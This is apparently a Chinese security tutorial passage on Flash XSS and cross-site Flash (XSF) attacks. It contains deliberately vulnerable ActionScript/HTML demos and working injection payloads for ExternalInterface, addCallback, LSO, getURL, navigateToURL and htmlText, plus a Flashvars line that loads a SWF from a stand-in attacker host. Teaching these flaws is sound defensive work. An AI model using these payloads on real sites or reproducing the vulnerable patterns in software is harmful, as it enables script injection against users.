try { __flash__toXML([: 第一个参数]([: 剩下的所有参数])) ; } catch (e) { "<undefined/>"; }

​ 可以看到在函数调用的参数列表中有个引号将所有参数包裹起来,所以我们先要尝试突破引号

externalInterfaceCall3.swf?func="

在这里插入图片描述

​ 在IE的调试界面可以看到对于ExternalInterface.call,第二个参数以后的数据都会被进行引号转义:

" —> \"

​ 这时候我们可以尝试写入 \ 将转义的反斜杠给转义

ExternalInterface3.swf?func=\"));alert(1);}catch(e){alert(1)};//

在这里插入图片描述

3.1.3.3 ExternalInterface.call 执行自定义Javascript代码

​ 这里我编写了一个demo.php文件,主要有以下功能组成:

  1. function showInfo(info) 定义了一个JS函数,能够将传入的参数作为Javascript代码动态执行
  2. ./demo_externalInterfaceCall2.swf?showInfo=<?php echo $_GET["showInfo"];?>&m=<?php echo $_GET["m"];?>,以 GET 传参的方式访问了一个swf 文件
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Flash XSS</title>
<script>
function showInfo(info){
    console.log(info)
    return info;
}

</script>
</head>
<body>
	<object type="application/x-shockwave-Flash" data='./demo_externalInterfaceCall2.swf?showInfo=<?php echo $_GET["showInfo"];?>&m=<?php echo $_GET["m"];?>'>
		<param name="movie" value = './demo_externalInterfaceCall2.swf?showInfo=<?php echo $_GET["showInfo"];?>&m=<?php echo $_GET["m"];?>'/>
		<param name="allowScriptAccess" value="always" />
		<param name="allowNetworking" value="all" />
	</object>
</body>
</html>

​ demo_externalInterfaceCall2.as:

var m= root.loaderInfo.parameters.m;
var showInfo=root.loaderInfo.parameters.showInfo;
flash.external.ExternalInterface.call(m,showInfo);

在这里插入图片描述

3.2 addCallback

3.2.1 函数功能

ExternalInterface类提供了一种机制,允许ActionScript代码与加载了SWF文件的HTML页面的JavaScript代码进行通信。ExternalInterface.addCallback方法允许你将ActionScript函数注册为可由JavaScript调用的回调函数。

3.2.2 函数原型

ExternalInterface.addCallback(functionName:String, closure:Function);

  • functionName: 这是一个字符串,指定了在JavaScript中调用时使用的函数名。
  • closure: 这是一个ActionScript函数,它将作为回调被执行。
3.2.3 ExternalInterface.addCallback利用

​ index.html主要做了以下几件事情:

  1. 加载资源文件demo_callBack.swf
  2. 当页面加载完成后执行callFlashWhenReady()
    1. 尝试捕获 id 为 myFlashMovie的元素
    2. 调用上面捕获元素的callFlashFunction方法
    3. 输出调用方法的返回结果
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Flash and JavaScript Interaction</title>
    <script>
        // 检测 Flash 是否加载完成,并尝试与 ActionScript 函数交互
        function callFlashWhenReady() {
            var flashMovie = document.getElementById("myFlashMovie");
            if (flashMovie) {
                try {
                    // 调用 Flash 函数并传递参数
                    var result = flashMovie.callFlashFunction("Hello from JS", 123);
                    console.log("Flash returned: " + result);
                } catch (e) {
                    console.error("Flash function call failed: " + e);
                }
            } else {
                console.error("Flash movie not found");
            }
        }
    </script>
</head>
<body onload="callFlashWhenReady();">
    <object id="myFlashMovie" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="550" height="400" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
        <param name="movie" value="demo_callBack.swf">
        <param name="quality" value="high">
        <embed src="demo_callBack.swf" quality="high" type="application/x-shockwave-flash" width="550" height="400" pluginspage="http://www.adobe.com/go/getflashplayer">
        </embed>
    </object>
</body>
</html>

​ flashcontent.as主要完成了以下的事情:

  1. 将字符串拼接并返回
  2. 新建/修改Javascript中callFlashFunction函数在ActionScript中的对应函数doSomethingWithFlash
// flashcontent.as
import flash.external.ExternalInterface;

// 定义一个 ActionScript 函数,它将被 JavaScript 调用
function doSomethingWithFlash(param1:String, param2:Number):String {
    var result:String = "Flash received: " + param1 + ", " + param2;
    trace(result);
    return result; // 返回结果给调用它的 JavaScript 函数
}

// 确保 Flash 可以与外部 JavaScript 交互
if (ExternalInterface.available) {
    // 使用 ExternalInterface.addCallback 将函数名和实际函数关联起来
    ExternalInterface.addCallback("callFlashFunction", doSomethingWithFlash);
}

在这里插入图片描述

3.3 ExternalInterface.addcallback与Lso结合

​ 这个问题出现的点在addCallback声明的函数,在被html界面js执行之后的返回值攻击者可控,导致了xss问题。使用lso中首先会setlso,写入脏数据,然后getlso获取脏数据。

3.3.1 LSO 本地共享对象

​ Flash中的LSO(Local Shared Objects),也被称为"Flash Cookies",是一种客户端数据存储技术,用于在用户的计算机上保存信息,类似于传统的HTTP Cookies。LSO允许Flash应用程序存储大量数据,如用户偏好、游戏进度或应用程序设置。它们通常用于跟踪用户行为、个性化用户体验和存储跨会话的数据。由于LSO可以绕过浏览器的同源策略,它们在某些情况下也用于跨域数据共享

3.3.2 ExternalInterface.addcallback与Lso结合利用

​ index4.html:

<html>
    <head>
    </head>
    <body>
    	<!-- 
			object 标签引入 http://192.168.70.210/demoAddCallbackLso.swf 文件
		-->
        <object id="lso" type="application/x-shockwave-Flash" data="http://192.168.70.210/demoAddCallbackLso.swf">
            <param name="movie" value = "http://192.168.70.210/demoAddCallbackLso.swf" />
            <param name="allowScriptAccess" value="always" />
            <param name="allowNetworking" value="all" />
        </object>
    <script>
        // 使用 ID 定位 object 标签,并运行demoAddCallbackLso.swf中定义的setlso和getlso方法
        function set(){
            document["lso"].setlso('aa\\";alert(document.domain);//aa');
        }
        function get(){
            document["lso"].getlso();
        }

        setTimeout("set()",5000);
        setTimeout("get()",7000);
    </script>
    </body>
</html>

​ 在接下来的过程中我们会使用到SharedObject对象,这里我们就我们要使用到的方法进行讲解

​ 在Flash中,SharedObject 类提供了一种方式来存储数据在用户的计算机上,这类似于传统的Cookie,但是提供了更多的存储空间和功能。SharedObject.getLocal() 方法用于从用户的计算机上检索一个本地的 SharedObject,它存储了数据对象,这些数据在浏览器或Flash Player关闭后依然可以保持。

​ demoAddCallbackLso.as:

function setlso(_arg1:String):Boolean{
    // 检索一个SharedObject本地存储对象
    var _local2:SharedObject = SharedObject.getLocal("kj");
    // 向SharedObject 中写入{‘key’: '_arg1'} 的键值对
    _local2.data.key = _arg1;
    // flush() 将数据写入磁盘
    _local2.flush();
    return (true);
}
 
function getlso():String{
    var _local1:SharedObject = SharedObject.getLocal("kj");
    if(_local1.data.key == undefined){
        return ("");
    }
    return (_local1.data.key);
}
ExternalInterface.addCallback("getlso",getlso)
ExternalInterface.addCallback("setlso",setlso)

​ 然后访问页面http://192.168.70.210/index4.html,可以发现成功弹窗

在这里插入图片描述

​ 这个问题出现的点在addCallback 声明的函数,在被html 界面js 执行之后的返回值攻击者可控,导致了xss问题

1.ie 下 js 会这样处理 flash callback func 执行后的返回值

eval(
	instance.CallFunction(
		"<invoke name=\""+name+"\" returntype=\"javascript\">" + __flash__argumentsToXML(arguments,0) + "</invoke>"
	)
);
// __flash__argumentsToXML(arguments,0) 会将传入的数值转换为xml格式

2.firefox and chrome 下 js 会这样处理 flash callback func 执行后的返回值

eval(var __flash_temp = "[: 返回值]"; __flash_temp;)

​ 如果在Firefox 和 Chrome环境下访问上述内容,那么js将会以 eval(var __flash_temp = "aa\\";alert(document.domain);//aa ; __flash_temp;) 的方式处理callback返回后数值,这样就造成了攻击。

3.4 getURL

3.4.1 函数功能

​ getURL 函数是ActionScript中用来加载和打开URL的内置函数之一。它允许你打开浏览器窗口或在Flash Player内部打开一个加载了指定URL内容的窗口。在Flash中ActionScript 2可以使用getURL来执行JavaScript。

3.4.2 函数原型

getURL(url:String, [window:String], [method:String]);

3.4.3 getURL 利用

​ 使用 Flash CS 将下面的ActionScript脚本编译成swf文件

// getURLTest.fla:
// 创建xml对象
var Fei_xml:XML = new XML(); 
// 忽略空白字符
Fei_xml.ignoreWhite = true; 
// 获取最左节点的值
Fei_xml.onLoad = function(){ getURL(Fei_xml.childNodes[0].childNodes[0].childNodes[0].nodeValue);}
//加载XML文档
Fei_xml.load(_root.xml_path); 

​ 因为在上述脚本中,我们将读取参数xml_path对应的路径上的xml文件中的最左节点上的数值,那么我们尝试在Web目录中编辑如下test.xml文件,用于触发XSS:

<?xml version="1.0" encoding="utf-8" ?>
<data>
	<link>javascript:alert('Flash XSS')</link>
</data>

注意2:childNodes[0]的个数和目标XML文件中JS代码所在的内嵌标签数量有关,必须设置正确才能成功触发

​ 这里的层数是这么计算的(XML一层、data一层、link一层)

​ 将URL参数xml_path赋值成为目标XML文件即可触发XSS:

/getUrl.swf?xml_path=test.xml

在这里插入图片描述

3.5 navigateToURL

​ 在ActionScript 3中已经不在支持getURL了,但可以用navigateToURL来执行JavaScript

3.5.1 函数功能

​ 在ActionScript 3.0中,navigateToURL函数用于加载指定的URL,可以打开浏览器窗口或在Flash Player内打开窗口(取决于Flash Player的安全设置

3.5.2 函数原型

avigateToURL(url:URLRequest, target:String = “_self”);

3.5.3 navigateToURL 利用

​ navigateToURL 的利用方式和getURL很相似,这里就不再详细说明了

package
{
	import flash.display.Sprite;
	import flash.events.Event;
	import flash.net.URLLoader;
	import flash.net.URLRequest;
	import flash.net.navigateToURL;

	public class navigateToURLTest extends Sprite
	{
		public function navigateToURLTest()
		{
			// 如果flash.xml文件中存在数据,那么就会使用URLRequest去访问url参数对应的路径
			var url:String = stage.loaderInfo.parameters.url   //获取url参数值
			var req:URLRequest = new URLRequest("flash.xml");
			var ld:URLLoader = new URLLoader();
			ld.addEventListener(Event.COMPLETE ,ok);
			function ok(evtObj:Event):void {
				if(ld.data){
					navigateToURL(new URLRequest(url),'_self') //通过navigateToURL调用执行
				} else {

				}
			}
			ld.load(req)
		}
	}
}

​ 这里就是为了做一个伪协议的练习,和上面使用getUrl没有什么大的区别

demoNavigateToURL.swf?url=javascript:alert(%27navigateToURL%20hacked%27)

在这里插入图片描述

3.6 htmlText

​ 在Flash中,ActionScript 3.0(AS3)提供了htmlText属性,该属性用于设置或获取显示在TextField组件中的HTML格式的文本。TextField是Flash中用于显示和编辑文本的组件。

3.6.1 htmlText 的功能
  • 设置文本:可以使用htmlText属性来设置TextField中的文本,并应用HTML标签来格式化文本,如加粗、斜体、改变颜色、大小等
  • 获取文本:可以通过htmlText属性来获取TextField中当前显示的HTML格式的文本
3.6.2 htmlText 的语法

textFieldInstance.htmlText = “HTML formatted <b>text</b>”;

​ textFieldInstance是一个TextField实例的引用,赋值语句右边就是要显示在TextField中的HTML文本

3.6.3 htmlText 利用
package
{
	import flash.display.Sprite;
	import flash.text.TextField;

	public class demoHtmlText1 extends Sprite
	{
		public function demoHtmlText1()
		{
			var a:String = root.loaderInfo.parameters.call_param 
            //创建TextField控件对象
			var info:TextField = new TextField();  
			info.multiline=true;
			info.wordWrap=true;
            //修改TextField空间内容
			info.htmlText = a; 
            //插入TextField节点
			addChild(info);
		}
	}
}

​ 这里我们可以使用img或a等标签触发xss代码

3.6.3.1 a标签触发Flash XSS

​ 这里运用a标签href属性能够解析js伪协议并执行js代码,从而触发Flash XSS,输入payload

?call_param=<a href=‘javascript:alert(“htmlText hacked”)’>Click Me!</a>:

在这里插入图片描述

3.6.3.2 img标签触发XSF

​ 这里我们使用img标签来加载一个远程含有JS跨站代码的swf文件从而实现XSF攻击

​ 远程含有XSS代码的swf文件,这里简单写个例子demoHtmlText2Tool.as

package
{
    import flash.display.Sprite;
    import flash.external.ExternalInterface;
       
    public class demoHtmlText2Tool extends Sprite
    {
        public function demoHtmlText2Tool()
        {
            ExternalInterface.call('alert("XSF Hacked")');
        }
    }
}

​ 编译好swf文件后放置在远程服务器中,这里我是用不同域的 192.168.70.210:8080 模拟远程服务。输入payload

?call_param=<img src=‘http://192.168.70.210:8080/demoHtmlText2Tool.swf’>:

在这里插入图片描述

3.7 Object ID addCallback

​ 在之前分析 Call 和 addCallback 时曾看到过这样一串代码

if ((((activeX == true)) && (!((objectID == null))))){
	_evalJS((((("__flash__addCallback(document.getElementById(\"" + objectID) + "\"), \"") + functionName) + "\");"));
};

​ 之前我们是从 functionName 作为切入点,由于 functionName 并没有过滤而触发了 XSS 漏洞,但是这里可以观察到 objectID 同样没有过滤,因为Object ID是一个用于标识加载的SWF文件或Flash对象的字符串。当你将Flash内容(SWF文件)嵌入到HTML页面中时,每个Flash对象(通常通过<embed><object>标签插入)可以有一个唯一的id属性。这个id属性在JavaScript中用来引用特定的Flash对象,并与之交互。所以在这里我们也能够通过这个点执行触发 XSS

3.7.1 Object ID addCallback 利用

​ payload如下面代码示例中显示,

addcallback,"),(function(){if(!window.x){window.x=1;alert(1)}})(),("

因为引号可能会在传递过程中意外闭合,所以这里我选择使用HTML转义将双引号转义,这样在swf文件处理时就可以获取到正确的内容了

<html>
	<object id="addcallback,&quot;),(function(){if(!window.x){window.x=1;alert(1)}})(),(&quot;" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">
    <param name="movie" value = "./demo_callBack.swf" />
	<param name="allowScriptAccess" value="always" />
	<param name="allowNetworking" value="all" />
	</object>
</html>

classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" 这一串字符是用于在网页中嵌入插件或控件的标识符,它代表了一个特定的COM(Component Object Model)对象的全局唯一标识符(GUID)。COM是微软开发的一套允许软件组件进行交互的规范,广泛应用于Windows操作系统中。在网页中,这个classid通常与<object>标签一起使用,用于指定嵌入的插件类型。例如,这个特定的classid是用于嵌入Adobe Flash Player的。当浏览器遇到这个classid时,它会尝试加载并运行相应的插件,以显示网页中的媒体或其他交互式内容。

​ 上面的内容将会被改写成如下所示样子:

__flash__addCallback(document.getElementById("addcallback,"),(function(){if(!window.x){window.x=1;alert(1)}})(),("");

在这里插入图片描述

在这里插入图片描述

3.8 未初始化变量导致的XSS

​ 在PHP中Globals全局变量在开启的时候,允许在POST个GET参数中改变php脚本中变量的值,也就是经典的全局变量导致的变量覆盖漏洞。在ActionScript 2中也有类似的特性,任何未被初始化的变量都可以以POST或GET方式来改变变量的值,因此会导致一些安全问题。

​ 示例代码如下:

if(user)
{
	getURL(_root.call_param);
}

​ 在这个代码中,_root.call_param 是一个已经初始化的数据,他从访问 swf 文件的参数中获取 call_param 参数所对应内容,凡是对于 if 语句中的 user 并没有显示的初始化,但是我们知道 _root 是 ActionScript2 的全局变量,可以在不加他的情况下直接访问对应数据,所以上述的 if 语句就变了 if (_root.user)了,这是我们可以构造如下 payload 来触发 XSS

?user=1&call_param=javascript:alert(‘var hacked’);

在这里插入图片描述

3.9 XSF

3.9.1 XSF是什么

​ Flash中的XSF(跨站Flash漏洞)是一种安全漏洞,它允许攻击者通过恶意的Flash内容来窃取用户信息或在用户不知情的情况下执行某些操作。XSF漏洞通常与Flash Player处理外部内容的方式有关,尤其是当Flash Player未能正确地验证或限制加载的外部资源时。

3.9.2 XSF漏洞成因:
  1. 未初始化或不安全的变量:在Flash或ActionScript中,如果变量在使用前没有被正确初始化或验证,它们可能会被攻击者用来注入恶意代码。
  2. 跨域策略宽松:Flash Player允许通过跨域策略文件(crossdomain.xml)来定义哪些外部域可以与Flash内容交互。如果这个文件配置得过于宽松,攻击者可能利用这一点来加载恶意的Flash内容。
  3. 输入验证不足:如果Flash应用程序未能充分验证用户输入或外部数据,攻击者可以利用这些输入来执行XSS攻击,例如通过在htmlText属性中注入JavaScript代码。
  4. ActionScript漏洞:ActionScript可能存在编程错误或逻辑漏洞,攻击者可以利用这些漏洞来绕过安全限制。
  5. 第三方库和组件:Flash应用程序可能会使用第三方库或组件,如果这些组件存在安全漏洞,攻击者可能会利用这些漏洞来进行攻击。
  6. 浏览器插件交互:Flash Player作为一个浏览器插件,与其他浏览器插件或浏览器本身的交互可能存在安全问题。
  7. 过时的软件:使用过时的Flash Player版本,其中可能包含已知的安全漏洞,未及时更新和修补这些漏洞可能导致安全风险。
3.9.3 可能导致XSF的危险函数
loadVariables()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.send()
XML.load('URL')
LoadVars.load('url')
Sound.loadSound('url')
NetStream.play('url')

​ 通过这些恶意接口,可以指定URL为我们构造的恶意文件如swf或xml文件,从而在目标网站实现JS攻击。

3.9.4 XSF 示例

​ 这个漏洞很简单,就相当于是文件包含漏洞,这里就不再详细展开,直接给出示例,XSFTest.as:

package
{
	import flash.display.Sprite;
	import flash.display.Loader;
	import flash.net.URLRequest;

	public class XSFTest extends Sprite
	{
		public function XSFTest()
		{
			var param:Object = root.loaderInfo.parameters;
			var swf:String = param["swf"];
			var myLoader:Loader = new Loader();
			var url:URLRequest = new URLRequest(swf);
			myLoader.load(url);
			addChild(myLoader);
		}
	}
}

​ XSF.html:

<html>
	<object id="lso" type="application/x-shockwave-Flash" data="http://127.0.0.1/XSFTest.swf">
		<param name="movie" value = "http://127.0.0.1/XSFTest.swf" />
		<param name="allowScriptAccess" value="always" />
		<param name="allowNetworking" value="all" />
		<param name="Flashvars" value="swf=http://attack.com/Mi1k7ea.swf" />
	</object>
</html>

?swf=htt://192.168.70.210:8080/demo.swf

​ demo.swf文件是前面第一节示例用于XSS弹框的Demo,这里作为攻击者的恶意swf文件

​ 先看下直接访问XSFTest.swf文件再传入远程服务器上的swf文件看看能不能执行成功:

在这里插入图片描述

​ 可以看到,请求了远程服务器上的swf文件但并没有成功执行该swf文件。原因在于远程服务器上的swf文件并没有对Flash的跨域请求进行相应的授权。如果访问目标服务器的XSF.html页面,可以看到XSF.html中嵌入的XSFTest.swf文件通过参数传入成功调用了远程服务器上的swf文件,关键在于allowScriptAccess和allowNetworking的设置进行了授权:

在这里插入图片描述

参考文献

[1] https://www.mi1k7ea.com/2019/07/21/Flash%E5%9E%8BXSS%E5%B0%8F%E7%BB%93/

[2] https://cloud.tencent.com/developer/article/1541113

[3] https://gitee.com/mirrors/playerglobal/tree/master

[4] https://flex.apache.org/download-binaries.html

[5] https://github.com/fdorg/flashdevelop

[6] https://help.adobe.com/en_US/as3/dev/index.html

关注我们,咱们在安全的路上,扬帆起航

在这里插入图片描述

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值